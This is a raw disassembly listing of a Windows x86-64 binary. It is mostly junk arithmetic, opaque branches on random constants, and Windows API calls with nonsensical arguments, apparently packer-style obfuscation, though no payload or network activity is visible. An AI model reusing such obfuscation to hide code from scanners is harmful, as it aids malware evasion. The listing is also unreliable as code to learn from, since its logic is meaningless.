mov byte [rsp + 0x135], al
movsx eax, word [rsp + 0xb20]
add eax, 0x2d6e
mov word [rsp + 0xb24], ax
movabs rax, 0x2838f864eac56d37
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2994]
mov ecx, dword [rsp + 0x2988]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x299c], eax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4d80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x4d98]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4dd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x132]
and eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x134], al
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb28]
sar eax, cl
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov eax, dword [rsp + 0x29e4]
xor eax, 0x29be86a9
mov dword [rsp + 0x29e4], eax
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4dd8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov eax, dword [rsp + 0x26f8]
mov ecx, dword [rsp + 0x299c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x6c4be31f46b45436
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d70], rax
jmp 0x140058435
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2994]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x26f8]
mov edx, dword [rsp + 0x299c]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x1400589a7
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x134]
sub eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4d70]
mov qword [rsp + 0x4e00], rax
movabs rax, 0x1ab6d4186bbe3755
cmp qword [rsp + 0x4e00], rax
je 0x140058972
movabs rax, 0x6e3ade4d22754151
cmp qword [rsp + 0x4e00], rax
je 0x1400588fb
jmp 0x1400589a7
movsx eax, word [rsp + 0xb20]
add eax, 0x99b
movsx ecx, word [rsp + 0xb24]
cmp eax, ecx
jle 0x140058953
mov dword [rsp + 0x28], 0xa2
lea rax, [rsp + 0x15b50]
mov qword [rsp + 0x20], rax
mov r9d, SHSetInstanceExplorer
lea r8, str.finitely_Unofficial
mov edx, ILFree
mov ecx, reloc.SHELL32.dll_ILFree
call qword [sym.imp.KERNEL32.dll_LCMapStringW]
mov dword [rsp + 0x2a00], eax
call fcn.140149a00
nop
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov word [rsp + 0xb28], ax
jmp 0x1400589a7
lea rax, [rsp + 0xb24]
mov qword [rsp + 0x20], rax
mov r9d, 0xf5
lea r8, [rsp + 0xbb]
mov edx, 0x2a
mov rcx, qword [rsp + 0x4e08]
call qword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
mov dword [rsp + 0x298c], eax
movzx eax, word [rsp + 0xb20]
mov word [rsp + 0xb2c], ax
mov dword [rsp + 0x2a04], 0x8831
mov rax, qword [rsp + 0x4d80]
mov qword [rsp + 0x4e10], rax
movabs rax, 0x7fffffffffffffff
cmp qword [rsp + 0x4e10], rax
je 0x140058a03
movabs rax, 0x990fa2e4157e7b95
cmp qword [rsp + 0x4e10], rax
je 0x140148bca
jmp 0x140148cef
movzx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0xb28]
cmp eax, ecx
je 0x140058afb
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, word [rsp + 0xb28]
mov dword [rsp + 0x2a08], eax
cmp dword [rsp + 0x2a08], 0x2eb
je 0x140058aca
cmp dword [rsp + 0x2a08], 0x3e5
je 0x140058a75
jmp 0x140058af6
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x134], al
movzx eax, word [rsp + 0xb20]
mov word [rsp + 0x20], ax
mov r9d, dword [rsp + 0x2994]
movzx r8d, word [rsp + 0xb1c]
movzx edx, word [rsp + 0xb1c]
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rax]
call fcn.14014a410
nop
jmp 0x140058af6
mov word [rsp + 0x20], SHSetInstanceExplorer
mov r9d, ILFree
lea r8, [rsp + 0x15b50]
mov edx, 0x87
mov ecx, 0x88
call qword [sym.imp.KERNEL32.dll_GetGeoInfoW]
mov dword [rsp + 0x2a0c], eax
jmp 0x140148ab3
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov byte [rsp + 0x2a10], al
cmp byte [rsp + 0x2a10], 0
je 0x140058b2a
cmp byte [rsp + 0x2a10], 0x38
je 0x140148973
jmp 0x140148a15
movzx eax, byte [rsp + 0x133]
mov byte [rsp + 0x2a14], al
cmp byte [rsp + 0x2a14], 0x53
je 0x140058b45
jmp 0x140058b63
mov dx, 0xd2
mov rcx, qword [rsp + 0x4e08]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dword [rsp + 0x2a18], eax
jmp 0x140058e60
mov rax, qword [rsp + 0x4d70]
mov qword [rsp + 0x4e18], rax
movabs rax, 0x6c0668ca670936ac
cmp qword [rsp + 0x4e18], rax
je 0x140058b8c
jmp 0x140058d13
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov qword [rsp + 0x4e20], rax
movabs rax, 0x52d4e0649bc58c69
cmp qword [rsp + 0x4e20], rax
je 0x140058bd0
movabs rax, 0x6d6bbc557e04c5db
cmp qword [rsp + 0x4e20], rax
je 0x140058cf1
jmp 0x140058d0e
movzx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbb], al
mov eax, dword [rsp + 0x2994]
mov ecx, dword [rsp + 0x26f8]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x2988]
mov edx, dword [rsp + 0x299c]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140058c99
movzx eax, word [rsp + 0xb28]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x26f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
sar eax, cl
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
lea r9, [rsp + 0x151d8]
mov r8d, 0x44
lea rdx, str.Tableware_Encroaches
lea rcx, str.C:lyricspeacekeepingDetectabilityLemurs_spadework
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [rsp + 0x299c], eax
jmp 0x140058cef
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4d80]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4dd8]
je 0x140058cef
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
shl rax, 0x28
mov qword [rsp + 0x4d70], rax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
jmp 0x140058d0e
movzx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb28], ax
jmp 0x140058e60
movabs rax, 0x6d8706aadfdc2d4e
mov rcx, qword [rsp + 0x4d70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
cmp rax, qword [rcx]
je 0x140058e15
movzx eax, byte [rsp + 0x136]
mov byte [rsp + 0x2a1c], al
cmp byte [rsp + 0x2a1c], 0x1f
je 0x140058d5a
jmp 0x140058df3
lea rax, [rsp + 0x134]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x4dc8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2a0c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xca
mov r9d, 1
mov r8d, 0xea
lea rdx, [rsp + 0x2988]
mov rcx, qword [rsp + 0x4d60]
call qword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
mov dword [rsp + 0x2a18], eax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb1c], ax
jmp 0x140058e13
movzx eax, word [rsp + 0xb1c]
mov word [rsp + 0xb30], ax
lea rax, [rsp + 0xbb]
mov qword [rsp + 0x4e28], rax
jmp 0x140058e60
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x132]
movsx edx, byte [rsp + 0x133]
add ecx, edx
cmp eax, ecx
jge 0x140058e60
lea rdx, [rsp + 0x133]
mov rcx, qword [rsp + 0x4d60]
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov dword [rsp + 0x2a18], eax
cmp dword [rsp + 0x2984], 0xaa43
jbe 0x14005904d
mov eax, dword [rsp + 0x2984]
sub eax, 0x32
mov dword [rsp + 0x2984], eax
movabs rax, 0x21dfea94215f5b38
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a00]
mov dword [rsp + 0x2a0c], eax
movabs rax, 0x6491d923c8d0da9b
mov rcx, qword [rsp + 0x4d70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4d80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4dd8], rax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
sub eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
or eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
movzx eax, word [rsp + 0xb28]
movzx ecx, word [rsp + 0xb1c]
sar eax, cl
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
xor eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
movsx eax, word [rsp + 0xb24]
movsx ecx, word [rsp + 0xb20]
shl eax, cl
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4d68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4dd8], rax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov eax, dword [rsp + 0x29e4]
mov dword [rsp + 0x2a00], eax
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x2ef97ace334b0452
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d70], rax
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
sub eax, ecx
mov word [rsp + 0xb1c], ax
jmp 0x140058e60
movzx eax, byte [rsp + 0x134]
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x4ac4fd2d3ac2fb6a
mov rax, qword [rax]
sub rax, rcx
cmp rax, qword [rsp + 0x4d70]
jl 0x140059106
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x137]
sub eax, ecx
mov byte [rsp + 0xbb], al
movzx eax, word [rsp + 0xb2c]
mov word [rsp + 0xb34], ax
mov eax, dword [rsp + 0x2a0c]
movzx ecx, al
mov eax, dword [rsp + 0x29e4]
shl eax, cl
mov dword [rsp + 0x2a00], eax
mov dword [rsp + 0x2a20], 0x4a2e
mov dword [rsp + 0x2a24], 0x649e
lea rax, [rsp + 0x299c]
mov qword [rsp + 0x4e30], rax
movsx eax, word [rsp + 0xb2c]
movsx ecx, word [rsp + 0xb20]
or eax, ecx
mov word [0x1401c1a28], ax
jmp 0x14005913c
mov eax, dword [rsp + 0x26f8]
mov ecx, dword [rsp + 0x2994]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x299c]
mov edx, dword [rsp + 0x2988]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x14005913c
movzx ecx, word [rsp + 0xb24]
call fcn.140149e50
nop
mov dword [rsp + 0x2a28], 0xc6cc
movsx eax, word [rsp + 0xb24]
mov dword [rsp + 0x2a2c], eax
cmp dword [rsp + 0x2a2c], 0xfffff6a2
je 0x140059276
cmp dword [rsp + 0x2a2c], 0x37c7
je 0x140059179
jmp 0x140148885
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [rsp + 0x2a0c]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x2a00]
jg 0x140059271
mov rax, qword [rsp + 0x4d80]
mov qword [rsp + 0x4e38], rax
movabs rax, 0x82fa0cbfe9265a2b
cmp qword [rsp + 0x4e38], rax
je 0x140059255
movabs rax, 0xacc041949c28bfb6
cmp qword [rsp + 0x4e38], rax
je 0x1400591d9
jmp 0x140059271
movsx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x132], al
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
lea r8, [rsp + 0x15188]
lea rdx, [rsp + 0x15188]
mov ecx, 0xf2
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x2a30], eax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
add eax, ecx
mov word [rsp + 0xb1c], ax
jmp 0x140059271
mov eax, dword [rsp + 0x2994]
mov ecx, dword [rsp + 0x299c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
jmp 0x140148885
movabs rax, 0x12ebba16a14cae19
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
cmp rax, qword [rcx]
jge 0x140059366
mov eax, dword [rsp + 0x2a00]
mov ecx, dword [rsp + 0x2a0c]
and ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x29e4]
jge 0x1400592d8
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4d80]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb28]
or eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
lea rax, [rsp + 0x4d68]
mov qword [rsp + 0x20], rax
mov r9d, 0x88
lea r8, [rsp + 0x4e28]
lea rdx, [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4e40]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x2a34], eax
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
shl rax, 0x39
mov qword [rsp + 0x4d70], rax
mov eax, dword [rsp + 0x299c]
movzx ecx, al
mov eax, dword [rsp + 0x2988]
shr eax, cl
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
jmp 0x14014887f
lea rax, [rsp + 0x135]
mov qword [rsp + 0x4e48], rax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
sub eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x134]
and eax, ecx
mov byte [rsp + 0x137], al
movzx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a00]
mov ecx, dword [rsp + 0x2a0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29e4], eax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x26f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
movabs rax, 0x6af37b92fdd91bcb
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x135]
sub eax, ecx
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x134], al
movsx eax, word [rsp + 0xb34]
movsx ecx, word [rsp + 0xb2c]
xor eax, ecx
mov word [rsp + 0xb24], ax
movsx eax, word [rsp + 0xb20]
movsx ecx, word [0x1401c1a28]
or eax, ecx
mov word [rsp + 0xb24], ax
mov eax, dword [rsp + 0x2a00]
movzx ecx, al
mov eax, dword [rsp + 0x29e4]
sar eax, cl
mov dword [rsp + 0x2a0c], eax
mov eax, dword [rsp + 0x2a20]
sub eax, 0x3f
mov dword [rsp + 0x2a20], eax
mov rax, qword [rsp + 0x4d70]
shl rax, 0x21
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov eax, dword [rsp + 0x2994]
mov ecx, dword [rsp + 0x299c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
and eax, ecx
mov rcx, qword [rsp + 0x4dd0]
mov byte [rcx], al
movsx eax, word [rsp + 0xb24]
movsx ecx, word [rsp + 0xb2c]
sub eax, ecx
mov word [rsp + 0xb34], ax
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x133]
add eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbb], al
movabs rax, 0x1d658b640d3dd53f
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb24]
movsx ecx, word [rsp + 0xb34]
add eax, ecx
mov word [0x1401c1a28], ax
mov eax, dword [rsp + 0x2988]
movzx ecx, al
mov eax, dword [rsp + 0x26f8]
shl eax, cl
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb30]
sar eax, cl
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
movsx eax, word [rsp + 0xb24]
movsx ecx, word [rsp + 0xb20]
or eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb2c]
movsx ecx, word [rsp + 0xb34]
add eax, ecx
mov word [0x1401c1a28], ax
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2988]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4d68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4dd8], rax
movsx eax, word [rsp + 0xb34]
movsx ecx, word [0x1401c1a28]
add eax, ecx
mov word [rsp + 0xb20], ax
cmp dword [rsp + 0x2a20], 0x37f8
jae 0x140059376
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x135]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4dd0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x137], al
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0xb28]
or eax, ecx
mov word [rsp + 0xb1c], ax
mov eax, dword [rsp + 0x2994]
mov rcx, qword [rsp + 0x4e30]
mov qword [rsp + 0x4e50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e50]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
movabs rax, 0x6c21b08e7702595
mov rcx, qword [rsp + 0x4d70]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
and eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
add eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x136], al
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x133]
add eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov word [rsp + 0xb28], ax
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb30]
and eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4d80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4dd8], rax
movabs rax, 0x6c55544fa910b1f
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2994]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x26f8], eax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d90]
mov qword [rsp + 0x4e58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e58]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x136], al
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x137], al
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x133], al
mov eax, dword [rsp + 0x26f8]
mov ecx, dword [rsp + 0x2994]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x246a8ecbb68b302a
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d70], rax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2974]
sub eax, 0x8c
mov dword [rsp + 0x2974], eax
mov eax, dword [rsp + 0x2a0c]
mov ecx, dword [rsp + 0x29e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a00], eax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
sub eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
movsx eax, word [0x1401c1a28]
movsx ecx, word [rsp + 0xb34]
add eax, ecx
mov word [rsp + 0xb24], ax
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb28]
shl eax, cl
mov word [rsp + 0xb30], ax
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb30], ax
mov eax, dword [rsp + 0x26f8]
mov rcx, qword [rsp + 0x4e30]
mov qword [rsp + 0x4e60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e60]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
cmp dword [rsp + 0x2974], 0xb5e3
ja 0x1400597af
lea rax, [rsp + 0x4d70]
mov qword [rsp + 0x4e68], rax
cmp dword [rsp + 0x2a04], 0x95b1
